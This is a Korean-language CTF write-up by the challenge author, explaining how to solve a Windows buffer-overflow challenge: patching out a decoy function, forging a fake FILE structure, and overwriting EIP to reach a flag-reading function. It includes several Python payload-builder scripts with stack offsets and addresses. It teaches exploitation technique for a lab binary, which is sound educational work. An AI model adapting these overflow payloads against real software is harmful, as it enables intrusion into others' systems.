[PWN]

[시작하기에 앞서 잡담]

실제로 CTF 진행 하면서, 참가자 분들이 어떤 문제를 풀고 있는지, 풀고 있다면 어떻게 접근하는지, 도와 줄 부분은 있는지 등등으로 여러명의 참가자에게 다가갔었는데 이런 얘기들을 많이 들었습니다.

??? : Windows Pwnable 처음 해봐요 
??? : 리눅스 내주시지 왜 윈도우 내주셨어요! 

해킹캠프 종료 후 집으로 돌아와 이번 CTF 로그를 쓱 보는 시간을 가졌었는데, 기록을 보니 단 한명도 접속을 하지 않은 문제더라구요.. 이름 부터 WINPWN이어서 다들 손절 한 듯한 느낌이 들어 섭섭
ㅠ.ㅠ

하지만, 풀이 과정은 공개하기로 하였습니다. !! :)

HackingCamp의 목적은 ***모르는 것을 배워가는 것***이라 생각합니다.
이 라이트업을 보신 분들은 제가 의도한 것을 알아가셨으면 좋겠습니다.

본격적인 풀이에 앞서 이 문제를 한번 만들어 보겠다고 3주간 서버 그리고 서버에서 구동되는 서비스 혹은 프로그램으로 애를 많이 먹었는데, 도와 준 사람들이 많아서 언급을 잠시 하고 갈까 합니다.

먼저, 지금은 군머인 ddddh. 때는 2월 경 잠시 WINDOWS Pwnable을 공부하다 직접 만든 문제가 BOF가 터지지 않았습니다. 한 5시간에서 6시간 삽질을 하다가 왜 터지지 않는지 도움을 요청했었는데 그때 그 이유에 대해 상세하게 알려주어서 많은 지식을 습득할 수 있는 시간이 되었었습니다.

다음으로 수 없이 많이 터진 에러 때문에 어쩔 수 없이 다양한 테스트를 하기 위해 많은 OS가 필요 했었는데, 해외 여행 중이었지만 한번도 짜증내지 않고 서버를 제공해주고, 리소스를 생성해준
h4nuko0n. 이 친구가 없었다면 저의 아주 작은 꿈이었던 Windows Pwnable 문제를 만들 수 없었을 겁니다. 갑자기 이 친구가 해킹캠프 추가 합격자가 되면서 잠시 멘붕이 왔지만, 서버에 접근하지 않겠다는 의지로 서버 관리자 패스워드를 바꿔도 된다는 말을 듣고 진심으로 고마웠습니다. 결론적으로 이 친구는 약속을 지켰으며, 그로 인해 예상치 못한 사고는 전혀 일어나지 않았습니다.

제가 이 문제를 만들기 위해 시도했던 OS는 다음과 같습니다.
Windows 10 -> WindowsServer 2016 -> Windows 7 -> Windows 8.1
결론적으로 Windows 8.1에서 구축에 성공하였습니다.

AppJailLauncher에 대해 알려준 Demon팀의 보물 민정 양(rls1004), 콘치님에게도 고마움을 표하고, 늦은 새벽 혹은 아침에 도저히 혼자 에러를 해결 할 수 없을 때 이에 대해 같이 의견을 공유 해준 Demon팀원과 몇몇 친구들. 결론적으로 에러 해결에 도움을 준 bin4ry.
이 분들 모두에게 감사 인사를 전합니다.

해당 문제 컨셉 요약

1. Struct of FILE Object
2. BOF(Buffer Overflow)
3. Safe SEH무시하고 EIP 조작하기.
4. 7개의 서로 다른 SSH 계정 
5. This Problem don't use to LPE 

자 5개를 머릿속에 입력해두시고, 시작하겠습니다 와아~~~~ (더럽게 많네요)

문제 풀 때는 출제자가 뿌려주는 README는 반드시 읽어야 합니다.
(제가 몇 주 전에 모 워게임을 풀다가 README를 안봐서 1시간 동안 뻘 짓을 한 적이 있습니다..)

[README]
이 문제는 windows bof입니다.

대회 시작 전 각 팀 마다 ssh 계정을 주었습니다. 
다른 팀에게 계정 정보를 절대 누설하지 마세요.

sftp가 가능하게 해두었으므로 자신의 계정에 제가 준 nc.exe와 여러분이 호스트에서 연습한 페이로드를 넣고 ssh에 접속하신 뒤 netcat으로 접속하시면 됩니다.

※ ssh에 접속을 거치지 않고 netcat을 이용하면 플래그를 획득 할 수 없습니다.

여러분에게 주어진 파일은 정확한 경로가 아닙니다.
정확한 경로는 문제 설명에서 실행되는 파일에 하드코딩 되어 있습니다. 

그럼 즐거운해킹 되세요.
-c0nstant-

이제 실행을 해보겠습니다.
얼라라? 왠 퀴즈가 하나 나오네요. 오늘은 해킹캠프 날인지 묻길래 Y 를 했는데 복구를 원한다고 하네요.
RECOVER

그렇다면, 문제에서 주어진 서버 IP와 PORT로 접속을 해보면 어떻게 될까요?
Server-Running
버퍼가 깜박깜박 거리는거 보니 문자열을 입력하라고 쪼으는것 같네요.
그래서 입력을 했더만,,,, 그냥 툭 정상 종료되어 버리네요.

에잇.. 방법이 없네요 그냥 바이너리를 열어봅니다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // eax
  FILE *v4; // eax
  char v5; // cl

  v3 = (FILE *)_acrt_iob_func(1);
  setvbuf(v3, 0, 4, 0);
  v4 = (FILE *)_acrt_iob_func(0);
  setvbuf(v4, 0, 4, 0);
  Sleep(1u);
  puts(&Str);
  sub_401130(v5);
}

sub_401130에 들어가보겠습니다.

void __fastcall __noreturn sub_401130(char a1)
{
  char v1; // ST08_1
  char v2; // [esp-2h] [ebp-4h]
  char v3; // [esp+1h] [ebp-1h]

  printf("This is quiz time\n", a1);
  printf("today is hackingcamp day isn't it?", v1);
  scanf("%c", &v3);
  if ( v3 == 'y' || v3 == 'Y' )
    printf("Thankyou participate hackingcamp...\n", v2);
  apply_recover();
}

void __noreturn apply_recover()
{
  MessageBoxA(0, "I want to recovery!!", "broken", 0);
  exit(-1);
}

이 부분들에 접근을 하면 안된 다는 것을 알 수 있습니다.
즉, 우리는 정확한 분석을 위해서 LOCAL환경에서는 patch를 진행해야 하겠네요.

우선 쓱 둘러봅시다. 플래그를 획득할 수 있는 함수가 보이네요.
즉 리눅스로 생각해보면 system("/bin/sh")이 선언 되어 있는 get_flag 함수가 되겠네요.
The actual flags are on the server.txt 라고 적혀있는거 보니 진짜 경로는 알려주지 않는 군요.
그리고, 이 코드에선 HOST에 The actual flags are on the server.txt라는 파일을 만들지 않는 한 fopen의 반환 값은 항상 NULL이게 됩니다.
fgets함수를 통해 파일 스트림의 문자열을 받아오게 됩니다.

.text:004011C2 get_flag        proc near
.text:004011C2                 push    eax             ; File
.text:004011C3                 call    ds:setvbuf
.text:004011C9                 add     esp, 10h
.text:004011CC                 push    3E8h            ; dwMilliseconds
.text:004011D1                 call    ds:Sleep
.text:004011D7                 push    offset aFlagIs  ; "FLAG IS..."
.text:004011DC                 call    ds:puts
.text:004011E2                 add     esp, 4
.text:004011E5                 push    offset Mode     ; "r"
.text:004011EA                 push    offset Filename ; "The actual flags are on the server.txt"
.text:004011EF                 call    ds:fopen
.text:004011F5                 add     esp, 8
.text:004011F8                 mov     [ebp-4], eax
.text:004011FB                 push    3E8h            ; dwMilliseconds
.text:00401200                 call    ds:Sleep
.text:00401206                 mov     eax, [ebp-4]
.text:00401209                 push    eax             ; File
.text:0040120A                 push    64h             ; MaxCount
.text:0040120C                 lea     ecx, [ebp-68h]
.text:0040120F                 push    ecx             ; Buf
.text:00401210                 call    ds:fgets
.text:00401216                 add     esp, 0Ch
.text:00401219                 lea     edx, [ebp-68h]
.text:0040121C                 push    edx             ; Str
.text:0040121D                 call    ds:puts
.text:00401223                 add     esp, 4
.text:00401226                 mov     eax, [ebp-4]
.text:00401229                 push    eax             ; File
.text:0040122A                 call    ds:fclose
.text:00401230                 add     esp, 4
.text:00401233                 mov     esp, ebp
.text:00401235                 pop     ebp
.text:00401236                 retn
.text:00401236 get_flag        endp ; sp-analysis failed

또 찾아봐야 하는 함수가 있는지 보도록 하겠습니다.
아하 동적 실행 시 낚이는 부분이 존재했었네요.
주소 004012DB에서 apply_recover를 호출하게 되었습니다.
그럼 이제 이것(apply_recover)을 없앤다면 파일을 열고, 파일의 값을 스택에 담고, 파일을 닫고 하는 정상적인 진행을 거칠 수 있게 되겠네요.

sub_4012A7      proc near
.text:004012A7                 push    offset asc_4021D4 ; ">>"
.text:004012AC                 call    ds:puts
.text:004012B2                 add     esp, 4
.text:004012B5                 lea     eax, [ebp-68h]
.text:004012B8                 push    eax
.text:004012B9                 push    offset aS       ; "%s"
.text:004012BE                 call    scanf
.text:004012C3                 add     esp, 8
.text:004012C6                 push    offset aR_0     ; "r"
.text:004012CB                 lea     ecx, [ebp-68h]
.text:004012CE                 push    ecx             ; Filename
.text:004012CF                 call    ds:fopen
.text:004012D5                 add     esp, 8
.text:004012D8                 mov     [ebp-4], eax
.text:004012DB                 call    apply_recover
.text:004012DB sub_4012A7      endp
.text:004012DB
.text:004012E0
.text:004012E0 ; =============== S U B R O U T I N E =======================================
.text:004012E0
.text:004012E0
.text:004012E0 sub_4012E0      proc near
.text:004012E0                 mov     edx, [ebp-4]
.text:004012E3                 push    edx             ; File
.text:004012E4                 push    4B0h            ; MaxCount
.text:004012E9                 lea     eax, [ebp-39Ch]
.text:004012EF                 push    eax             ; Buf
.text:004012F0                 call    ds:fgets
.text:004012F6                 add     esp, 0Ch
.text:004012F9                 mov     ecx, [ebp-4]
.text:004012FC                 push    ecx             ; File
.text:004012FD                 call    ds:fclose
.text:00401303                 add     esp, 4
.text:00401306                 push    64h             ; dwMilliseconds
.text:00401308                 call    ds:Sleep
.text:0040130E                 xor     eax, eax
.text:00401310                 mov     esp, ebp
.text:00401312                 pop     ebp
.text:00401313                 retn
.text:00401313 sub_4012E0      endp ; sp-analysis failed

아 잠시 꿀팁을 드릴까 합니다.
OllyDbg로 켰을 때 F8(Step Over)가 더이상 되지 않는 상황이 발발할 수 있습니다. 그때는 바로 위의 Instruction을 보게 되면 int3이라고 되어 있는 부분이 있을 것입니다.
이 부분은 SoftwareBreakpoint 입니다. 우리의 프로그램이 사람의 제어에 상관없이 자연스럽게 빌드 되고 실행 될 때는 이것을 검증하지 않으나, 사람의 제어로 한줄 한줄 실행 될 때는 이것을 검증하게 됩니다. 이 부분에서 더이상 진행되지 말고 멈추어라 이런 뜻입니다.

init3

메인으로 접근해서 상기에서 언급한 주소 004012DB가 있는지를 봅시다.
제가 주소가 있는지를 먼저 파악한 이유는 "ASLR"의 유무를 파악하기 위함 입니다.
ASLR은 Address SpaceLayout Randomization 이라고 하여, 매 실행 시 무작위 주소 배치라고 할 수 있습니다. 우리는 I LOVE Registry문제에서 offset을 알게 되었습니다. 무작위 주소라도 offset은 일치 하기 때문에 무작위 주소의 BaseAddr + offset을 하게 되면 IDA에서 보는 주소와 동일한 곳을 찾을 수도 있게 됩니다.
어쨌든, 이 문제는 ASLR이 적용되어 있지 않은 파일이라는 정보를 캐치했습니다.

[1]
no-aslr

[2]
PATCH

[1]은 패치 前. [2]는 패치 後.
패치 시 유의 해야 할 상황 : 만약 해당 함수의 매개변수가 존재 && 함수 호출 규약 중 cdecl
=> 인자를 정리하는 부분까지 깔끔하게 NOP 처리 해줘야 한다.

자 일단 패치를 진행합시당~
패치에 대한 간단한 설명은 제 블로그를 긁어왔어요
[http://1993-constant.tistory.com/47]

패치를 하면 더이상 괴상한 메시지 박스가 뜨지 않게 되요. 바로 문자열을 입력할 수 있게 됩니다.

scanf함수를 이용하여 문자열을 입력받을 수 있습니다.
현재 scanf의 형식지정자에 %ns가 아니기 때문에 BOF가 발생 할 수 있는 취약한 입력함수로 동작중입니다.

가령, BOF를 방지해보고 싶다면 Windows에서는 scanf_s라는 함수가 있습니다.
혹은 %10s 이런식으로 코딩을 하시면 BOF를 방지할 수 있습니다. ^0^
---4
fopen
자 과연 제 PC에는 c0nstantZZZANG 이라는 경로가 있을까요? 없겠쬬??
그러면 FOPEN의 반환 값은 null(0)이 되어 버립니다. 바로 아래의 그림 처럼요.

null

그렇다면, 일단 이 프로그램을 정상적으로라도 실행하려면 어찌 됬든 파일을 하나 열어야 겠군요. 자 테스트용 파일 하나 만들어봅니다. a.txt입니다.
atxt

fopen 함수의 반환 값 FILE *
fopen--

이 녀석을 유심히 봐야해요..!! 모든 파일은 생성했을 때 파일 포인터가 저걸로 시작을 해요.
fake------

한번 다른 파일을 열어볼까요?
--

자 검증이 되었으니, 이제 몇 바이트를 넣어야 오버플로우가 되는지 살펴봅시다.

그전에 우리는 fgets 함수에 대해 알고 가봐야 겠습니다.

char *fgets(   
   char *str,  
   int n,  
   FILE *stream   
);  

fopen에서의 반환 값이 NULL이 아닐 경우 FILE*를 받아오는 것 아까 보셨지요?
n은 최대로 읽어올 바이트 수 입니다.
*str은 데이터의 저장소 위치입니다.
즉, stream에서 n만큼 쫘라락 읽어서 str에 위치시킨다. == 스택에 넣는닷 !!
이 말이 되겠습니다.

그래서, 우리는 위의 시나리오 fake file*를 만든 것입니다. 왜냐하면 전 실제 txt 파일의 구조를 이용하지 않을 거거든요.

그렇다면, 지금 부터 즐거운 페이로드 짜는 시간을 가져볼게요.
파일 포인터가 없다면 fclose에서 참조할 수 없는 주소를 참조하게 되어 Terminated 되어 버립니다. 즉 프로그램이 기능을 미처 수행하지 못하고 죽어버리는거죠 ㅠㅠ

int fclose(   
   FILE *stream    << 이거 때문입니당 !! 
);  

페이로드는 무작정 때려 박는 방법과, Windows에서는 ImmunityDebugger에서 사용가능한 mona.py라는 좋은 모듈이 있습니다. 이 모듈을 이용해서 패턴을 탐색해서 오버플로우 위치를 체크할 수도 있습니다.

저는 mona.py를 안쓰고 해보겠숩니다.

우선 A(dummy)를 100개 넣고 return 주소를 덮는지 체크를 해보겠습니다.

fgets 기준점입니다.
ADDR : 0x19FB9C
fgets----

값이 잘 들어감을 확인.
-----3

fclose의 매개변수인 FILE*도 이상없음을 확인해보았습니다.
-------------FCLOSE-----

fclose가 되면서 이전에 입력한 dummy들을 다 정리하게 되어 스택에 더이상 남아 있지 않게 됩니다.
-------------FCLOSE------1

우리는, 여기서 하나를 생각해야합니다.
이 dummy가 fclose가 끝나도 계속 유지될 수 있으면서 RET를 부술 수 있는 조건에 대해서 말이죠.

그럼 이렇게 한번 진행해봅시다. 0x19FB9C 부터 0x19FF3C의 차를 구하여 이 값을 DUMMY로..
928바이트를 DUMMY로 해보겠습니다. 무슨 일이 일어날까요?

#!python
import struct

# round 1
# make fake file pointer
fake = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x20\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

payload = ""
payload += fake
payload += "A"*928


f= open("hackingcamp_exploit.txt","wb")
f.write(payload)
f.close()

무식하게 데이터를 때려박으니 fclose에 사용되는 매개변수가 41414141로 덮여졌습니다 띠로리.. 이러면 이제 에러가 나는겁네다

------1
----------1

그럼 우리는 저 부분이 FILE*가 되게 해야겠지요?

이 부분을 잘 봅시다.
여기 주소가 19FF34인데요.
제가 입력한 페이로드 시작과 차이를 보도록 할게요.
ebp-4

제일 첫 스택 주소는 0x19fb9c입니다.
19fb9c

그리고 더미 시작주소는 0x19FBC4입니다.

그럼 페이로드를 조금 바꾸어 봅시다.

#!python
import struct

# round 1
# make fake file pointer
fake = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x20\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

payload = ""
payload += fake
payload += "A"*(100-len(fake))


f= open("hackingcamp_exploit.txt","wb")
f.write(payload)
f.close()

이렇게 하게 되면, FILE를 잘 받아올 수 있습니다. 고로 에러는 없어집니다.
여기서 FILE
를 잘 받아오는 이유는 DUMMY의 부족으로 아예 스택을 건들지 않아서 입니다.
하지만, 저흰 익스플로잇을 하기 위해 언젠가 파일 포인터 바로 직전까지 dummy를 채워

하지만, 이렇게 하게 되면 fclose로 인해 정리를 깔끔하게 되어 BOF가 일어나지 않습니다.
그래서 우리는 이제 Safe SEH를 건들여야 합니다.

간단하게 Safe SEH를 설명해둔 제 블로그를 첨부합니다.
pw : 5odmxmdm
http://1993-constant.tistory.com/217

그럼 이제 슬슬 Safe SEH를 건들여볼까요?
SEH
0x19FF70 - 0x19FB9C : 980

980바이트를 넣으면서 fclose가 스택의 어느 위치인지 그리고 SEH Pointer가 어디인지 까지 알 수 있습니다.

이전에 언급했듯 fclose는 살아있되 SAFE SEH를 깨부서야 되기 때문에 fclose가 위치한 인덱스를 계산해봅시다.

------2

fclose의 위치를 알 수 있는 페이로드입니다.

#!python
import struct

# round 1
# make fake file pointer
fake = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x20\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
# round 2
# you can find index of fclose's argument
payload = ""
payload += fake
payload += "A"*(980-(15*4)-len(fake))
payload += "BBBB"


f= open("hackingcamp_exploit.txt","wb")
f.write(payload)
f.close()

fclose-----

이제 이 부분만 file pointer로 세팅해두면 됩니다.
페이로드는 다음과 같습니다.

fclose------1

#!python
import struct

# round 1
# make fake file pointer
fake = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x20\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

payload = ""
payload += fake
payload += "A"*(100-len(fake))
payload += "B"*100
payload += struct.pack('<L',0x0019FE68) # this is file pointer(fake fclose)
payload += "C"*284
payload += struct.pack('<L',0x0019FE68) # this is file pointer(fake fclose)
payload += "D"*4
payload += "E"*(420-48)
payload += struct.pack('<L',0x0019FB9C) # TRUE?


f= open("hackingcamp_exploit.txt","wb")
f.write(payload)
f.close()

fclose 에러를 해결했으니 이제 페이로드를 더 추가하여 bof를 하여 예외처리가 일어나게 해봅시다.

#!python
import struct

# round 1
# make fake file pointer
fake = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x20\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

payload = ""
payload += fake
payload += "A"*(100-len(fake))
payload += "B"*100
payload += "B"*4
#payload += struct.pack('<L',0x0019FE68) # this is file pointer(fake fclose)
payload += "C"*284
payload += "D"*4
#payload += struct.pack('<L',0x0019FE68) # this is file pointer(fake fclose)
payload += "D"*4
payload += "E"*(420-48)
payload += struct.pack('<L',0x0019FB9C) 
payload += "F"*48
payload += struct.pack('<L',0x0019FB98)
payload += "F"*92

f= open("hackingcamp_exploit.txt","wb")
f.write(payload)
f.close()

이렇게 하면 eip가 변합니다.
eip----
eip--

포너블에서 가장 기본이 될 수 있다고 볼 수 있는 EIP 변조입니다.
이제 우리는 해당 프로그램의 Mitigation에 따라 시나리오를 마음대로 조작할 수 있습니다.

우선 아까 언급했던, SAFE Seh가 있기 때문에 이를 우회해야합니다.
이 녀석은 BOF가 일어났을 때 예외 처리 문으로 가게 하여 더이상 프로그램이 정상적으로 실행하지 못하게 막는 역할을 합니다.

하지만 제가 NX모드를 해제해 둔 문제이기 때문에 SAFE SEH가 적용되어 있어도 SAFE SEH를 딱히 검증하지 않는 것을 확인했었습니다.

우리는 fclose만 잘 닫은 뒤 flag가 있는 함수로 이동시켜야합니다.
우리는 이 주소로 이동해야 합니다.
-------------

이것은 강제로 EIP를 401190으로 했을 때입니다 (성공 상황)

#-*-encoding:utf-8-*-
#!python

import struct

# fake file pointer 
fake = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x20\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

payload = ""
payload += fake
payload += "A"*(100-len(fake))
payload += "B"*100
payload += struct.pack('<L',0x0019FE68) 
payload += "C"*284
payload += struct.pack('<L',0x0019FE68) 
payload += "D"*4
payload += "E"*(420-48)
payload += struct.pack('<L',0x0019FB9C) 
payload += struct.pack('<L',0x00401190)
payload += "F"*20
payload += "G"*(36-12)
payload += struct.pack('<L',0x0019FB9C) 
payload += "A"*4
payload += struct.pack('<L',0x00401090)

f = open("a.txt","wb")
f.write(payload)
f.close()
print "end"

이렇게 해도 되긴합니다. SAFE SEH 덮지 않고 Security_cookie를 사용하지 않기 때문이에요.

저는 SAFE SEH를 무시하고, fclose후에 스택을 정리하지 않는 방법을 사용하여 EIP를 조작하였습니다.
이제 이 코드를 통해서 실제 SSH 접속해서 어떻게 해야하는지 알려드리고자 합니다.

우선 아무조의 계정을 빌려봅니당 ^^
Team1의 계정을 빌려와봤어요

ssh_1
ssh_2

readme를 보게 되면 sftp가 가능하다고 합니다.
sftp는 FileZilla를 사용할게요.
각 팀끼리는 Demon 계정을 비롯한 다른 팀 계정에 접근 못하게 해두었습니다.

여기에 HOST에서 연습한 페이로드, 그리고 nc.exe를 올려둡니다.
nc에서 돌아가는 파일은 이미 패치가 되어있는 파일 + flag의 경로가 보이기 때문에 패치 파일은 가져올 필요가 없으십니다.
(일부러 패치를 하게 한 것입니다. 악마...)
왜냐하면 현재 각 계정엔 일부로 nc를 안넣어뒀습니다
(7개 계정에 일일이 다 넣기 너무 빡셉니다 ^^히히 )
ssh_3-1

그 후 nc에 접속하여 해당 경로의 익스플로잇 코드를 실행합니다.

말도 많고 탈도 많았던 코드의 성공 코드입니다.

여러분의 계정으로 플래그 획득 이상없이 잘 됩니다.
--------